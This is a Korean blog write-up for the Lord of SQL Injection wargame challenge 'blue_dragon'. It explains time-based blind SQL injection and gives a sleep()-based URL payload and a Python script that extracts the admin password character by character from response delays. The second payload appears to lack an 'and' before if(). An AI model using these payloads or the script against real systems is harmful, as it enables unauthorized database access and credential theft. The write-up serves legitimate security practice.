[Lord of SQL Injection] 27번 blue_dragon

2021. 1. 23. 04:35·Write-Up/LOS (lord of sql injection)
반응형

time based sql injection이다. ' \을 필터링하는데 time based sql injection을 모르고 접근하다가 삽질을 좀 했다.

 

쿼리를 먼저 넣고 실행시키고 그 후에 필터링되는것이다.

sleep을 이용하겠다.

?id=1&pw=' or id='admin' and if(length(pw)>0, sleep(1), 0)%23

 

만약 pw길이가 0이상이면 1초대기하고 실행시키고 아니면 바로 거짓값을 넣어버린다.

로딩화면을 보고있으면 대기하는지 바로 실패하는지 볼 수 있다,

 

import requests
import time

cookies= {'PHPSESSID':'your cooke'}
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
pw = ''


# pw길이 구하기
for i in range(0,99):
    start = time.time()
    payload = "id=a&pw=' or id='admin' and if(length(pw) = " + str(i) + ", sleep(1), 0)%23"
    new_url = url+payload
    res = requests.get(new_url, cookies=cookies)
    res.raise_for_status()
    if (time.time() - start) > 1:
        length = i
        print("length: "+str(length))
        break    

# pw 구하기
for i in range(1,length+1):
    for j in range(48,123):
        start = time.time()
        payload = "id=a&pw=' or id='admin' if(substr(pw, " + str(i) + ", 1) = " + hex(j) + ", sleep(3), 0)%23"
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if (time.time() - start) > 3:
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)

 

반응형

'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글

[Lord of SQL Injection] 28번 frankenstein  (0) 2021.01.23
[Lord of SQL Injection] 26번 red_dragon  (0) 2021.01.23
[Lord of SQL Injection] 25번 green_dragon  (0) 2021.01.23
[Lord of SQL Injection] 24번 evil_wizard  (0) 2021.01.23
[Lord of SQL Injection] 23번 hell_fire  (0) 2021.01.23
'Write-Up/LOS (lord of sql injection)' 카테고리의 다른 글
  • [Lord of SQL Injection] 28번 frankenstein
  • [Lord of SQL Injection] 26번 red_dragon
  • [Lord of SQL Injection] 25번 green_dragon
  • [Lord of SQL Injection] 24번 evil_wizard
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    ConcurrentHashMap
    AQS
    ReentrantLock
    동시성
    LOB
    Lock
    tabat
    동시성처리
    SpringBoot
    computeifpresent()
    hashmap vs concurrenthashmap
    thread-safe
    computeifpresent
    enumerate #list comprehension
    computeifabsent
    sqlinjection
    spring boot
    Java
    concurrenthashmap vs hashmap
    쿠폰발급
    nop sled
    reentrantlock실습
    코드트리
    DB정리
    putval()
    CountDownLatch
    computeifabsent()
    spring
    코드트리조별과제
    lord of bufferoverflow
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord of SQL Injection] 27번 blue_dragon
상단으로

티스토리툴바